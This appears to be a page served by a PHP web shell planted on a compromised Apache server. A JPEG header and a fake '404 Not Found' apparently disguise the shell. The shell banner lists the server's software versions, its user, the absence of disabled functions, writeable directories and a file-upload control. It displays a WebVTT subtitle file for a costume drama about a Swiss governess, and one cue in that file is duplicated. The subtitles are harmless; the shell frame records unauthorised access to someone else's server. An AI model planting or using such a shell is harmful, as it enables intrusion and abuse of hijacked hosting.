����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/upload/subtitle/03-2019/5c81c874219d0-1552009332.vtt
WEBVTT - https://subtitletools.com

00:00:43.650 --> 00:00:45.735
Sit down, dear.

00:00:48.571 --> 00:00:51.001
This one is Swiss by nationality.

00:00:51.105 --> 00:00:54.525
Two years employment here in London as a Governess...

00:00:54.629 --> 00:00:59.081
piano, drawing, French, of course.

00:01:00.833 --> 00:01:03.951
How old are you, dear?
Twenty two.

00:01:04.055 --> 00:01:06.537
Are you in good health?
Yes.

00:01:06.641 --> 00:01:10.957
Are both your parents still living?
My mother is dead.

00:01:11.062 --> 00:01:13.502
What was the cause of your mother's death, dear?

00:01:13.606 --> 00:01:15.691
She died in childbirth.

00:01:17.015 --> 00:01:20.540
Ask her to stand.
Stand up, dear.

00:01:24.064 --> 00:01:26.149
Turn around.

00:01:27.609 --> 00:01:29.694
All the way.

00:01:34.199 --> 00:01:36.857
Ask her what the money's for.

00:01:36.962 --> 00:01:39.276
Her father is in debt, it seems.

00:01:39.381 --> 00:01:43.656
Does she have any other income,
any other way of making money?

00:01:43.760 --> 00:01:46.210
Sit down, dear.

00:01:48.754 --> 00:01:51.955
The gentleman asks, do you have no other
way to raise the sum that you need?

00:01:52.059 --> 00:01:54.958
Does the gentleman have any suggestions?

00:01:55.062 --> 00:01:57.794
My dear, you're very pretty. You could marry, you know.

00:01:57.898 --> 00:02:01.006
Yes, I could sell myself for life.

00:02:01.110 --> 00:02:05.062
The gentleman's needs, as I understand it,
are of a shorter duration.

00:02:07.564 --> 00:02:10.348
Has she done this before?

00:02:10.452 --> 00:02:13.841
The gentleman asks...
Can the gentleman ask for himself?

00:02:15.238 --> 00:02:18.606
You're not to know who he is, my dear.
No one is to know.

00:02:18.710 --> 00:02:21.650
He need not tell me his name.

00:02:21.755 --> 00:02:24.831
I would like to hear his voice.

00:02:28.501 --> 00:02:31.712
What can you tell from a voice?

00:02:33.839 --> 00:02:36.206
A little.

00:02:36.310 --> 00:02:40.126
Have you ever done anything like this before?

00:02:40.231 --> 00:02:42.316
No never.

00:02:47.102 --> 00:02:49.187
Will you do it?

00:02:51.606 --> 00:02:54.296
Of course. Why else am I here?

00:02:55.527 --> 00:02:57.779
Shall I look further?

00:03:00.406 --> 00:03:03.201
No, this is the one.

00:04:33.289 --> 00:04:35.375
Anything else, sir?

00:04:41.736 --> 00:04:45.490
Is everything to your liking, madam?
Yes thank you.

00:05:21.357 --> 00:05:24.590
Excuse me, but there is a message for me?

00:05:24.591 --> 00:05:26.467
No, Miss, no.
Good.

00:05:26.468 --> 00:05:28.971
If anything, I'm in my room.

00:05:28.972 --> 00:05:30.744
Yes, Miss.
Thank you.

00:05:58.744 --> 00:06:02.207
I hope you don't mind, I didn't want
to be seen entering the room with you.

00:06:09.108 --> 00:06:11.402
I'm afraid I can't introduce myself, as you know.

00:06:11.507 --> 00:06:13.154
Yes.

00:06:13.258 --> 00:06:17.168
Did you have a smooth crossing?
For the most part.

00:06:17.272 --> 00:06:21.047
Is the hotel to your liking?
I have no complaints.

00:06:21.151 --> 00:06:23.237
Please.

00:06:25.645 --> 00:06:29.263
It's of the utmost importance that
we're not seen together in public...

00:06:29.367 --> 00:06:31.693
over these next few days.

00:06:33.778 --> 00:06:38.241
I have a reputation to protect,
not just for myself, but for others.

00:06:48.792 --> 00:06:52.827
Do you understand?
Yes.

00:06:52.932 --> 00:06:56.498
We'll meet together each evening
after dinner here in your room.

00:06:56.602 --> 00:06:58.687
As you wish.

00:07:00.679 --> 00:07:02.764
Are we to...

00:07:04.412 --> 00:07:06.987
to meet this evening?

00:07:07.091 --> 00:07:11.314
Yes, We only have three evenings.

00:07:13.191 --> 00:07:15.276
When are we to begin?

00:07:17.528 --> 00:07:20.562
I thought you might like a little time to accustom yourself.

00:07:20.667 --> 00:07:23.565
I have accustomed myself.

00:07:23.670 --> 00:07:25.755
I'm ready now.

00:07:45.430 --> 00:07:48.423
The fire gives more light than one expects.

00:07:48.527 --> 00:07:50.612
Does it trouble you?

00:07:51.853 --> 00:07:53.938
No.

00:09:22.377 --> 00:09:24.567
Will this do?

00:09:28.237 --> 00:09:30.322
Yes.

00:10:51.088 --> 00:10:54.341
Perhaps you think I'm no better than him.

00:10:57.531 --> 00:10:59.617
I think nothing.

00:11:00.659 --> 00:11:03.370
You think what we're doing is wrong?

00:11:09.668 --> 00:11:14.360
You at least...are doing it for someone else.

00:11:18.051 --> 00:11:20.678
I, too, have a duty to someone else.

00:11:22.680 --> 00:11:26.966
Then, sir, since neither of us are here for our own pleasure

00:11:27.070 --> 00:11:30.938
perhaps what we do isn't so very wrong.

00:12:11.227 --> 00:12:15.439
I don't want to know your name.
I don't want to know anything about you.

00:12:41.277 --> 00:12:44.123
Aren't you afraid to be seen with me?

00:12:44.436 --> 00:12:46.594
There is no one to see.

00:12:47.929 --> 00:12:50.171
I like it here.

00:12:50.275 --> 00:12:53.090
Just sea and sky and...

00:12:53.194 --> 00:12:55.280
And nothing.

00:12:57.063 --> 00:12:59.263
I like it.

00:12:59.367 --> 00:13:02.839
Makes me want to shout.
Then shout.

00:13:24.464 --> 00:13:26.716
No, it's not so easy.

00:13:34.974 --> 00:13:37.164
You're very...

00:13:41.647 --> 00:13:44.608
I didn't expect it to be like this.

00:13:47.319 --> 00:13:50.197
What did you expect?

00:13:53.742 --> 00:13:55.827
Last night...

00:13:58.538 --> 00:14:00.624
I thought...

00:14:03.960 --> 00:14:06.963
For a moment I thought that...

00:14:08.381 --> 00:14:10.800
You thought that I liked it?

00:14:14.387 --> 00:14:16.264
Did you?

00:14:17.348 --> 00:14:19.225
No.

00:14:26.565 --> 00:14:28.859
But I could.

00:14:56.970 --> 00:14:59.055
Oh, I wish...

00:15:00.098 --> 00:15:02.183
What do you wish?

00:15:04.393 --> 00:15:06.729
I wish I could shout.

00:15:44.348 --> 00:15:47.966
So, Mrs.Jago will see to everything when the time comes.

00:15:48.071 --> 00:15:50.677
Yes, I know it all.

00:15:50.782 --> 00:15:53.941
We made an arrangement.
I accept it.

00:15:56.944 --> 00:16:00.270
You won't want to be seen disembarking in my company.

00:16:00.374 --> 00:16:02.251
Uh, no.

00:16:06.912 --> 00:16:08.997
Goodbye, then.

00:16:51.913 --> 00:16:54.124
Over soon, my dear.

00:17:19.231 --> 00:17:21.389
It's a little girl. Is she all there?

00:17:21.494 --> 00:17:23.777
Oh, yes, she's beautiful.

00:17:24.903 --> 00:17:27.823
Best to take her away at once.

00:17:30.409 --> 00:17:33.703
There, my pet. All over now.

00:18:47.107 --> 00:18:49.693
I don't even know your name.

00:19:17.219 --> 00:19:20.243
Happy birthday, darling.

00:19:25.269 --> 00:19:27.667
I don't forget you.

00:19:28.772 --> 00:19:30.701
You are ready?

00:19:30.805 --> 00:19:33.986
Madames, messieurs. Give me your bodies, give me your souls.

00:19:33.987 --> 00:19:36.072
And let's dance the Polka.

00:19:42.746 --> 00:19:44.519
That is it.

00:19:44.662 --> 00:19:47.248
Make a window with your legs.

00:19:49.375 --> 00:19:51.461
Move from the waist.

00:19:52.754 --> 00:19:55.496
Ladies, trust your gentlemen.

00:19:55.600 --> 00:19:59.833
In the Polka, faith is the virtue that saves.

00:19:59.938 --> 00:20:02.961
Shame on you, Mr.Godwin. Not dancing?

00:20:03.066 --> 00:20:06.068
You'll have to excuse me, Mrs.Hurst.
I'm afraid I don't know the steps.

00:20:06.173 --> 00:20:10.479
None of us know the steps, Mr.Godwin.
That's the fun of it. We learn together.

00:20:12.648 --> 00:20:15.046
As you can see, I'm not dressed for dancing.

00:20:16.318 --> 00:20:20.363
Jenny, I want you. I shall have you.
Oh!

00:20:25.910 --> 00:20:29.862
Seen enough?
You have to admit it's quite a sight.

00:20:29.966 --> 00:20:32.260
Quite a cost too.

00:20:33.408 --> 00:20:34.972
From the waist.

00:20:35.044 --> 00:20:37.359
There's the old monster.

00:20:38.798 --> 00:20:42.458
Want to meet him?
Surely.

00:20:42.666 --> 00:20:45.815
The lady with him isn't exactly his wife.

00:20:46.128 --> 00:20:50.809
You don't exactly surprise me. Just the latest in a long line.

00:20:56.273 --> 00:20:59.140
Father, I'd like to introduce you to...
You're not dressed, Charles.

00:20:59.245 --> 00:21:00.954
Go and get dressed.

00:21:00.956 --> 00:21:03.427
Father.
You're a blot, boy.

00:21:03.531 --> 00:21:07.690
Father, may I introduce to you Mr.John Taylor of Ohio?

00:21:07.794 --> 00:21:11.850
My father, Lord Clare.
Miss Holland.

00:21:12.664 --> 00:21:16.584
And what brings you all the way from Ohio, sir?

00:21:18.878 --> 00:21:21.537
Your son and I hope to do business together.

00:21:21.641 --> 00:21:24.592
What business?
I'm a sheep farmer.

00:21:26.010 --> 00:21:28.095
A sheep farmer.

00:21:29.597 --> 00:21:33.517
Get dressed, Charles, or get out. There's a good fellow.

00:21:36.979 --> 00:21:40.201
I wouldn't have missed that for the world.

00:21:41.243 --> 00:21:42.932
I wish I could laugh.

00:21:43.037 --> 00:21:46.394
But my father's London life all has to be paid for.

00:21:46.498 --> 00:21:49.272
We don't live like this down in the country.

00:21:49.376 --> 00:21:52.567
The boy's not normal. Don't ask me why.

00:21:52.671 --> 00:21:55.236
Don't be hard on him, Jimmy.

00:21:55.340 --> 00:21:58.072
When you think of his poor wife.

00:21:58.176 --> 00:22:00.324
Damn it, Molly, that was ten years ago.

00:22:00.428 --> 00:22:03.424
You'd think he'd have found some
comfort of a female variety by now,

00:22:03.528 --> 00:22:05.371
but he won't do it.

00:22:05.475 --> 00:22:08.300
Are you sure?
Quite sure. The boy's not normal.

00:22:09.343 --> 00:22:12.127
Brought this fellow over from Paris, you know.

00:22:12.231 --> 00:22:14.796
First Polka in London.

00:22:14.901 --> 00:22:17.518
Come on, Molly. Let's hop.

00:23:21.537 --> 00:23:25.281
You'd be the new Governess.
Yes.

00:23:25.385 --> 00:23:28.117
Know about the child, do you, Miss?

00:23:28.221 --> 00:23:30.306
I know what I've been told.

00:23:30.411 --> 00:23:33.330
Left in a basket on the steps of the Ram Inn.

00:23:33.434 --> 00:23:35.520
They tell you that?

00:23:36.760 --> 00:23:39.044
No.
No.

00:23:39.148 --> 00:23:42.047
They don't tell them that.

00:23:42.151 --> 00:23:45.425
I don't suppose you could put
something on the fire, could you?

00:23:45.529 --> 00:23:50.107
Can't bend, Miss. Wig falls off.

00:24:00.950 --> 00:24:03.192
Please to come with me, Miss.

00:24:04.130 --> 00:24:06.529
You will be the fourth this year, Miss.

00:24:06.633 --> 00:24:10.032
The fourth Governess?
They don't stay.

00:24:10.136 --> 00:24:12.451
Miss Louisa sees to that.

00:24:12.555 --> 00:24:14.641
Louisa?

00:24:16.882 --> 00:24:19.176
The Governess' room.

00:24:21.679 --> 00:24:25.255
Thomas will bring your trunk up when he has time.

00:24:25.359 --> 00:24:28.466
£25 a year, is it, your pay?

00:24:28.571 --> 00:24:30.656
The cook gets £30,

00:24:32.147 --> 00:24:34.232
Schoolroom this way.

00:24:35.483 --> 00:24:37.767
We don't get many like you at Selcombe, Miss.

00:24:37.871 --> 00:24:40.019
Like what?
Foreigners, Miss.

00:24:40.123 --> 00:24:42.209
We're all English here.

00:24:43.533 --> 00:24:45.618
The classroom.

00:24:50.498 --> 00:24:52.656
Know about Miss Louisa, do you, Miss?

00:24:52.760 --> 00:24:55.138
She was left in a basket on the steps of the Ram Inn.
Don't you believe it.

00:24:55.242 --> 00:24:59.548
Master bought her from a gypsy for half a crown.

00:25:01.884 --> 00:25:05.878
Thinks she's quite a little lady, but she don't fool me.

00:25:07.024 --> 00:25:09.109
Where is she now?

00:25:09.318 --> 00:25:10.955
I would not know, Miss.

00:25:10.956 --> 00:25:13.250
Maybe the gypsies have took her back.

00:25:19.985 --> 00:25:22.602
Excuse me. Where would I find Miss Louisa, please?

00:25:22.706 --> 00:25:24.791
Oh, she'll be in her lake house.

00:25:24.833 --> 00:25:27.116
She's always hiding in there.

00:27:39.785 --> 00:27:41.808
Who are you?

00:27:44.540 --> 00:27:47.522
Miss Laurier, your new Governess.

00:27:55.884 --> 00:27:58.543
You're not English, are you?

00:27:59.690 --> 00:28:02.995
No.
Do you speak English?

00:28:04.809 --> 00:28:06.582
Yes.

00:28:13.735 --> 00:28:16.195
Then bugger away, lady.

00:28:25.955 --> 00:28:28.614
I see you found your way to Louisa's lake house.

00:28:28.718 --> 00:28:32.774
Yes.
And she ran away from you, I suppose?

00:28:33.671 --> 00:28:37.330
Yes.
That's what she does.

00:28:37.435 --> 00:28:40.000
I'm afraid her father's not very
strict with her, as you'll discover.

00:28:40.001 --> 00:28:42.503
As you will discover.

00:28:42.606 --> 00:28:45.964
Mr.Godwin is not at home?

00:28:46.068 --> 00:28:49.300
He's in town at present. We expect him back tomorrow.

00:28:46.068 --> 00:28:49.300
He's in town right now. We expect him back tomorrow.

00:28:49.404 --> 00:28:51.698
Mrs.Godwin?
Oh, no.

00:28:52.355 --> 00:28:54.128
No.

00:28:55.817 --> 00:28:58.872
No. I'm not Mrs.Godwin.

00:28:59.080 --> 00:29:02.187
My sister, Amelia, married Charles.

00:29:02.292 --> 00:29:05.316
So, she is Mrs.Godwin.

00:29:05.420 --> 00:29:07.067
But shortly after her marriage

00:29:07.068 --> 00:29:10.405
she had a serious accident, a riding accident.

00:29:10.508 --> 00:29:12.823
Charles had no one to run the house for him.

00:29:12.927 --> 00:29:15.982
So I came.
Thank you.

00:29:18.380 --> 00:29:21.592
And, uh, Mrs.Godwin?

00:29:23.760 --> 00:29:25.846
Amy didn't die.

00:29:27.180 --> 00:29:29.954
Her life is over, but she lives on.

00:29:32.060 --> 00:29:36.053
And here we are, Charles and I...

00:29:36.158 --> 00:29:38.983
and Amy and Louisa.

00:30:30.491 --> 00:30:32.576
We are home!

00:30:42.294 --> 00:30:45.339
Did you have a pleasant journey?
Yes.

00:30:45.964 --> 00:30:49.478
John Taylor, this is my sister-in-law, Miss Skelton.

00:30:49.582 --> 00:30:52.439
Mr.Taylor, welcome.
Mrs.Skelton.

00:30:53.065 --> 00:30:56.339
There was no need for you to walk down, John.
The carriage would've brought you.

00:30:56.443 --> 00:30:59.571
I'm not an old man yet, Charles.
Ellen, will you help Louisa with her cloak?

00:30:59.675 --> 00:31:01.761
I was waiting for you.
Would you take Mr.Taylor's coat?

00:31:01.865 --> 00:31:04.565
John, this is a man you have to meet. Mr.Ames, my farmer.

00:31:06.025 --> 00:31:08.194
Mr.Taylor.
Mr.Ames.

00:31:18.120 --> 00:31:20.633
Do you have any experience with Southdowns, sir?

00:31:20.737 --> 00:31:24.387
Not yet. We run merinos.
Ah, wait till you bring in the Southdowns.

00:31:24.491 --> 00:31:26.076
There's no heartier breed in existence.

00:31:26.180 --> 00:31:29.038
We have a new Governess, Charles.
Another one?

00:31:29.141 --> 00:31:31.143
Send Miss Laurier down to meet Master.

00:31:31.144 --> 00:31:32.917
Thomas, will you come with me?

00:31:33.020 --> 00:31:35.001
Look at this girl.

00:31:35.105 --> 00:31:39.255
She's so frightening, all the Governesses
run from her squealing.

00:31:39.359 --> 00:31:41.851
How do you do that, Louisa? Hm?

00:31:44.103 --> 00:31:47.471
I don't want a Governess.
You don't want a Governess.

00:31:47.575 --> 00:31:49.431
Did you miss me?
No.

00:31:49.536 --> 00:31:53.331
You must give me some breeding tips, Mr.Ames.
I mean to win prizes.

00:31:53.435 --> 00:31:57.137
Mr.Godwin's your man. He's our master breeder.

00:31:57.554 --> 00:31:59.206
You have to be careful,John.

00:31:59.311 --> 00:32:02.527
This breeding business can become
something of an obsession.

00:32:02.632 --> 00:32:06.250
It's nothing less than the endless pursuit of perfection.

00:32:07.668 --> 00:32:11.661
How close do you reckon you've got? To perfection, I mean.

00:32:11.765 --> 00:32:15.999
The Selcombe flock is as good as you'll find, sir.

00:32:16.103 --> 00:32:18.209
That's what I hear.

00:32:18.313 --> 00:32:20.878
What's your secret?

00:32:20.983 --> 00:32:23.839
Ah, here's the new Governess.

00:32:23.944 --> 00:32:28.427
Uh, this is my brother-in-law, Mr.Godwin. Miss Laurier.

00:32:28.531 --> 00:32:30.617
Mr.Godwin.

00:32:33.818 --> 00:32:35.903
Miss Laurier is from Switzerland.

00:32:35.904 --> 00:32:38.302
but she's been employed in England for many years.

00:32:41.242 --> 00:32:43.327
I see.

00:32:48.999 --> 00:32:53.170
I'm sure Mr.Taylor needs a drink. I know I do.

00:33:04.681 --> 00:33:06.774
You must leave at once.

00:33:06.879 --> 00:33:09.925
What are you doing?
And what on earth possessed you to come here?

00:33:10.030 --> 00:33:12.052
It's taken me seven years to trace my child.

00:33:12.054 --> 00:33:13.826
Do not ask me to leave her now.

00:33:13.929 --> 00:33:16.703
We had an agreement. You had your money.

00:33:16.807 --> 00:33:19.328
I didn't know how it would be when she was born.

00:33:19.432 --> 00:33:21.270
All I heard was her cry. I've never forgotten it.

00:33:21.374 --> 00:33:23.939
You were paid to forget.
I tried.

00:33:24.043 --> 00:33:26.149
You tried?

00:33:26.254 --> 00:33:29.528
I'd give you back your money if I could.
I don't want the money.

00:33:29.632 --> 00:33:33.344
It wasn't for me. It was for my...it was for my father.

00:33:33.448 --> 00:33:38.130
He was in prison and...I don't want to hear this. I just...

00:33:40.966 --> 00:33:44.333
I wanted an heir. I wanted a child. Is that so wrong?

00:33:44.438 --> 00:33:47.837
I swear to you, no one will ever learn
the truth from me, not even Louisa.

00:33:47.941 --> 00:33:51.090
Not even Louisa, not even your own daughter.
You couldn't live with that.

00:33:51.194 --> 00:33:54.176
I have no choice. I have no home of my own.

00:33:54.281 --> 00:33:57.325
I must be Governess to her or nothing.
She hates Governesses.

00:33:57.429 --> 00:33:59.807
She needs me.
That's enough.

00:33:59.911 --> 00:34:02.872
No. No. It's impossible, the whole thing. You must go.

00:34:02.976 --> 00:34:04.801
And there's the end to it.

00:34:09.201 --> 00:34:13.226
Ah, yes. Because you have to put the paddles up.

00:34:13.330 --> 00:34:17.136
We'll have to get another Governess, Connie.
Miss Laurier can't stay.

00:34:17.761 --> 00:34:19.534
Why?

00:34:20.587 --> 00:34:22.641
Louisa doesn't like her.

00:34:23.058 --> 00:34:26.509
Oh, Charles! Louisa doesn't like any Governess.

00:34:28.595 --> 00:34:31.097
Can't a man choose who's to educate his own daughter?

00:34:33.099 --> 00:34:35.987
Do you wish her to be dismissed without a character?
No.

00:34:36.092 --> 00:34:39.835
Well, then, she must be given at least a month's notice.

00:34:40.106 --> 00:34:44.266
A month? Can't she just be paid?

00:34:44.370 --> 00:34:47.185
Governesses make their homes with their employers.

00:34:47.290 --> 00:34:50.220
She can't leave until she's found a new situation.

00:34:51.116 --> 00:34:55.423
A month? A month is an eternity.

00:34:55.527 --> 00:34:59.635
Does she really have no home but this?
That's why Governesses are Governesses.

00:34:59.739 --> 00:35:03.472
What happens to them when they aren't
wanted as Governesses any more?

00:35:03.576 --> 00:35:05.297
I really don't know.

00:35:08.508 --> 00:35:12.637
All these huge rooms, and we live our lives
within three feet of the fire.

00:35:20.561 --> 00:35:22.751
Would you come with me, please?

00:35:29.945 --> 00:35:32.156
You're to have one month's notice.

00:35:36.577 --> 00:35:39.788
You said you'd swear to tell no one.
Yes.

00:35:46.586 --> 00:35:49.579
Oh! Thank you, Hannah.

00:35:49.683 --> 00:35:52.144
Have I time for my tea, sir?
Yes.

00:35:52.248 --> 00:35:55.094
I'll stay till you return.
Thank you, sir.

00:35:58.640 --> 00:36:01.225
Amy, I've brought someone to see you.

00:36:03.352 --> 00:36:05.646
This is Miss Laurel.
Please.

00:36:12.361 --> 00:36:14.686
This is my wife, Amelia.

00:36:15.416 --> 00:36:17.428
Mrs.Godwin.

00:36:22.663 --> 00:36:25.415
I tell Amy everything.

00:36:29.085 --> 00:36:33.079
She knows Louisa's my daughter.

00:36:33.183 --> 00:36:36.634
But I promised her that I'll never shame her before the world.

00:36:37.760 --> 00:36:40.263
No one else knows but you.

00:36:41.889 --> 00:36:46.477
Does she understand what we say?
I choose to believe that she does.

00:36:49.897 --> 00:36:54.579
If there's any pity in you for my wife's wasted life...

00:36:55.204 --> 00:36:58.155
swear that you'll keep our secret.

00:37:03.327 --> 00:37:05.412
I swear.

00:37:13.211 --> 00:37:15.296
Now leave us.

00:38:23.904 --> 00:38:26.156
Good morning, Louise.

00:38:40.128 --> 00:38:44.090
Do you know your ABC? Do you know your ABC?

00:38:53.307 --> 00:38:56.936
This is "L" for Louisa.

00:38:58.354 --> 00:39:01.524
This is "L" for Louisa.

00:39:03.359 --> 00:39:05.694
Don't go. We have work to do.

00:39:07.029 --> 00:39:10.282
Don't go. We have work to do.

00:39:15.057 --> 00:39:19.666
You are poor, I suppose.
Yes.

00:39:20.792 --> 00:39:23.711
I don't have to do what you say.

00:39:34.388 --> 00:39:36.995
No.
You got to hoist them off.

00:39:38.017 --> 00:39:40.968
Bugger away, lady. Bugger away. Gently now.

00:39:41.072 --> 00:39:42.886
Come on.
Do you see why?

00:39:42.990 --> 00:39:45.680
Frankly, I don't. They all look good to me.

00:39:45.785 --> 00:39:47.724
You've a superb flock here.

00:39:47.828 --> 00:39:51.811
Well, I should have. I've been breeding
the imperfections out for 15 years.

00:39:51.916 --> 00:39:54.230
This one's a perfect breeding ewe.

00:39:54.335 --> 00:39:57.296
See how the chine runs straight from the
nape of the neck to the sitting of the tail.

00:39:57.400 --> 00:40:01.404
Good wide hips, straight forelegs,
plenty of wool between the ears.

00:40:01.508 --> 00:40:04.782
Look into her eyes sweet, gentle disposition.

00:40:04.886 --> 00:40:07.639
She'll feed well, fatten well and lamb well.

00:40:07.743 --> 00:40:09.933
Go on.
Good morning, Miss Laurier.

00:40:09.935 --> 00:40:11.704
Mr.Taylor.

00:40:11.705 --> 00:40:14.635
Have you come to admire the Southdowns too?

00:40:15.344 --> 00:40:19.421
No, sir. I've come for Mr.Godwin's instructions.

00:40:19.526 --> 00:40:21.632
Don't you fight, now. Oh.

00:40:21.736 --> 00:40:24.906
Well? Am I to teach Miss Louisa, sir...

00:40:25.010 --> 00:40:28.409
if even only for one month?
Yes.

00:40:28.513 --> 00:40:31.266
Then I must be able to keep her in the schoolroom.

00:40:31.370 --> 00:40:33.831
What forms of discipline am I permitted to use?

00:40:33.935 --> 00:40:38.408
None. If her lessons give her no pleasure,
why should she endure them? No.

00:40:41.807 --> 00:40:44.841
She'll find out soon enough what a hard world we live in.

00:40:44.946 --> 00:40:49.043
For these few short years that she's under my care,
I want her to be happy.

00:40:50.461 --> 00:40:53.548
Is that clear?
Yes sir.

00:40:57.635 --> 00:40:59.720
Steady.

00:41:01.681 --> 00:41:04.715
No.
Fair enough, now?

00:41:04.819 --> 00:41:08.719
A bit and turn around. Come on.
Turn around. Yeah. That's it.

00:41:08.823 --> 00:41:11.346
Let me out! I want to see my father! Let me out!

00:41:11.450 --> 00:41:13.849
Come on! You gotta let me out! Let me out!

00:41:13.953 --> 00:41:16.747
I want my pa! Come on! I want my pa!

00:41:16.851 --> 00:41:19.562
Let me out now! I want my pa!

00:41:19.667 --> 00:41:22.826
Let me out!
After you've done your lessons.

00:41:25.745 --> 00:41:28.644
Let me out! I want my pa! Just let me out now!

00:41:28.645 --> 00:41:31.043
I want him! Hey! Let me out!

00:41:40.801 --> 00:41:45.441
What's that?
Uh, Miss Louisa, sir, being educated.

00:41:46.067 --> 00:41:48.152
I hate you!

00:41:52.396 --> 00:41:55.149
No, I never...never!

00:41:56.900 --> 00:41:58.767
Papa!

00:41:58.871 --> 00:42:03.062
Open the door.
Papa! Papa!

00:42:03.167 --> 00:42:06.743
Miss Laurier, open this door at once!

00:42:13.666 --> 00:42:15.637
What do you think you're doing? Open the door!

00:42:15.741 --> 00:42:17.410
No sir.

00:42:20.214 --> 00:42:24.083
Please, Papa. Come here, please!

00:42:24.187 --> 00:42:26.867
I will not have you treat my daughter like this.

00:42:27.513 --> 00:42:29.579
Would you have her grow up ignorant and friendless?

00:42:29.580 --> 00:42:31.193
I'll not have her imprisoned.

00:42:31.194 --> 00:42:33.571
She cares for no one but you, and so no one cares for her.

00:42:33.675 --> 00:42:35.969
Give me the key.
She is unhappy and lonely.

00:42:36.011 --> 00:42:39.650
She doesn't know who she is or what she is to do or why.

00:42:52.120 --> 00:42:55.947
Papa, help me! Papa, I want you!

00:42:56.051 --> 00:42:59.585
I can help her. I know I can.

00:43:00.920 --> 00:43:03.589
But first she has to be taught to obey me.

00:43:06.175 --> 00:43:08.834
If you harm so much as one hair on her head...

00:43:08.938 --> 00:43:12.494
Do you think I, of all people, would ever hurt her?

00:43:15.351 --> 00:43:18.009
I'll make you a promise.

00:43:18.114 --> 00:43:21.231
Whatever I do to Louisa, I'll do to myself.

00:43:24.860 --> 00:43:29.468
You want her to love you. I want her to be loved.

00:43:31.658 --> 00:43:33.952
She won't have you forever.

00:43:46.297 --> 00:43:48.382
Louisa?

00:43:51.218 --> 00:43:53.554
Louisa, I'll see you when your lessons are over.

00:43:54.472 --> 00:43:58.350
All right, darling? Louisa?

00:43:59.309 --> 00:44:01.395
I love you.

00:44:18.620 --> 00:44:22.540
Lunch, Miss.
Thank you, Ellen. Put it on the table.

00:44:26.169 --> 00:44:29.088
Will that be all, Miss?
Yes. Thank you, Ellen.

00:44:35.052 --> 00:44:37.137
Would you like your lunch?

00:44:51.902 --> 00:44:53.778
One,

00:44:56.031 --> 00:44:57.907
Two.

00:45:03.538 --> 00:45:06.916
If you won't eat, then neither will I.

00:45:14.799 --> 00:45:18.792
I'd say you're lucky to have her.
Oh? Why?

00:45:18.896 --> 00:45:22.306
She's got pride in herself. Doesn't back down.

00:45:24.892 --> 00:45:28.176
And she's lovely.

00:45:28.280 --> 00:45:31.012
Don't tell me you haven't noticed.

00:45:31.116 --> 00:45:35.360
Miss Laurier is here to teach Louisa.
She leaves at the end of the month.

00:45:36.862 --> 00:45:39.604
So you won't mind if I speak to her?

00:45:39.708 --> 00:45:41.814
What do you mean, speak to her?

00:45:41.918 --> 00:45:46.089
Well, she doesn't seem to have a home of her own.

00:45:46.506 --> 00:45:50.823
Do you mean to employ her?
Not exactly.

00:45:50.927 --> 00:45:54.816
I was thinking of marriage.
Marriage?

00:45:57.923 --> 00:46:00.009
I could do a lot worse.

00:46:02.803 --> 00:46:07.068
I leave tomorrow. I don't have that much time.

00:46:07.172 --> 00:46:09.893
Well, you'd ask her then.

00:46:13.063 --> 00:46:16.285
I'm cold.
So am I.

00:46:16.389 --> 00:46:19.413
I hate you.
Hate me if you want,

00:46:19.517 --> 00:46:21.331
but you must obey me.

00:46:21.436 --> 00:46:23.604
I won't. I'll die first.

00:46:23.709 --> 00:46:26.524
Hm. How will you die?

00:46:26.628 --> 00:46:28.943
I'll drown myself in the lake.

00:46:29.047 --> 00:46:32.175
How will you make your body stay underwater?

00:46:32.279 --> 00:46:36.669
It just will.
No, it won't. Bodies float.

00:46:37.628 --> 00:46:39.495
You could put stones in your pockets.

00:46:39.599 --> 00:46:41.476
Do you have any pockets?
Don't talk to me.

00:46:41.580 --> 00:46:44.458
Or you could get a good, strong bag and fill it with pebbles.

00:46:44.562 --> 00:46:48.952
I said, don't talk to me.
What do you do in the lake house?

00:46:51.808 --> 00:46:54.134
If you come near it, I'll kill you.

00:46:54.135 --> 00:46:56.010
I'll murder you.
How?

00:46:56.115 --> 00:46:58.847
With a knife. I'll stab you in the heart.

00:46:58.951 --> 00:47:02.475
Yes, that would do it.
It would. You'd be dead.

00:47:02.579 --> 00:47:05.791
You'd have to bury me.
I won't. I'll just leave you.

00:47:05.895 --> 00:47:08.397
I'd rot. I'd smell.

00:47:08.502 --> 00:47:10.170
Serve you right.

00:47:17.583 --> 00:47:21.003
What are these stupid lessons anyway?

00:47:22.630 --> 00:47:24.715
Louisa...

00:47:24.809 --> 00:47:28.531
loves Papa.

00:47:30.033 --> 00:47:34.662
Louisa...loves grass.

00:47:35.642 --> 00:47:37.728
Louisa...

00:47:39.771 --> 00:47:43.024
eats grass.

00:47:45.777 --> 00:47:49.551
Sheep eat grass.

00:48:09.383 --> 00:48:12.907
Papa loves sheep.

00:48:13.095 --> 00:48:15.722
You see, it's not hard.

00:48:20.185 --> 00:48:24.022
Do you know about firelight?
What about it?

00:48:25.815 --> 00:48:28.068
It's a kind of magic.

00:48:29.402 --> 00:48:33.271
Firelight makes time stand still.

00:48:33.375 --> 00:48:35.481
When you put out the lamps...

00:48:35.585 --> 00:48:39.193
and sit in the firelight's glow...

00:48:39.297 --> 00:48:42.164
there aren't any rules any more.

00:48:51.465 --> 00:48:54.791
You can do what you want, say what you want...

00:48:54.895 --> 00:48:57.533
be what you want.

00:48:58.764 --> 00:49:03.164
And when the lamps are lit again, time starts again.

00:49:04.436 --> 00:49:08.054
And everything you said or did is forgotten...

00:49:08.158 --> 00:49:10.640
more than forgotten.

00:49:10.744 --> 00:49:13.903
It never happened.

00:49:15.446 --> 00:49:18.157
I can do what I want?
Yes.

00:49:19.492 --> 00:49:22.662
I want to go.
Then go.

00:49:24.956 --> 00:49:27.604
It's been unlocked since lunch time.

00:50:02.075 --> 00:50:04.160
All right?

00:50:05.244 --> 00:50:08.028
To a famous victory.

00:50:08.132 --> 00:50:11.073
Don't say that. Louisa's too young to be defeated.

00:50:11.177 --> 00:50:14.117
Oh, well. Then we shall drink to you.

00:50:14.222 --> 00:50:17.047
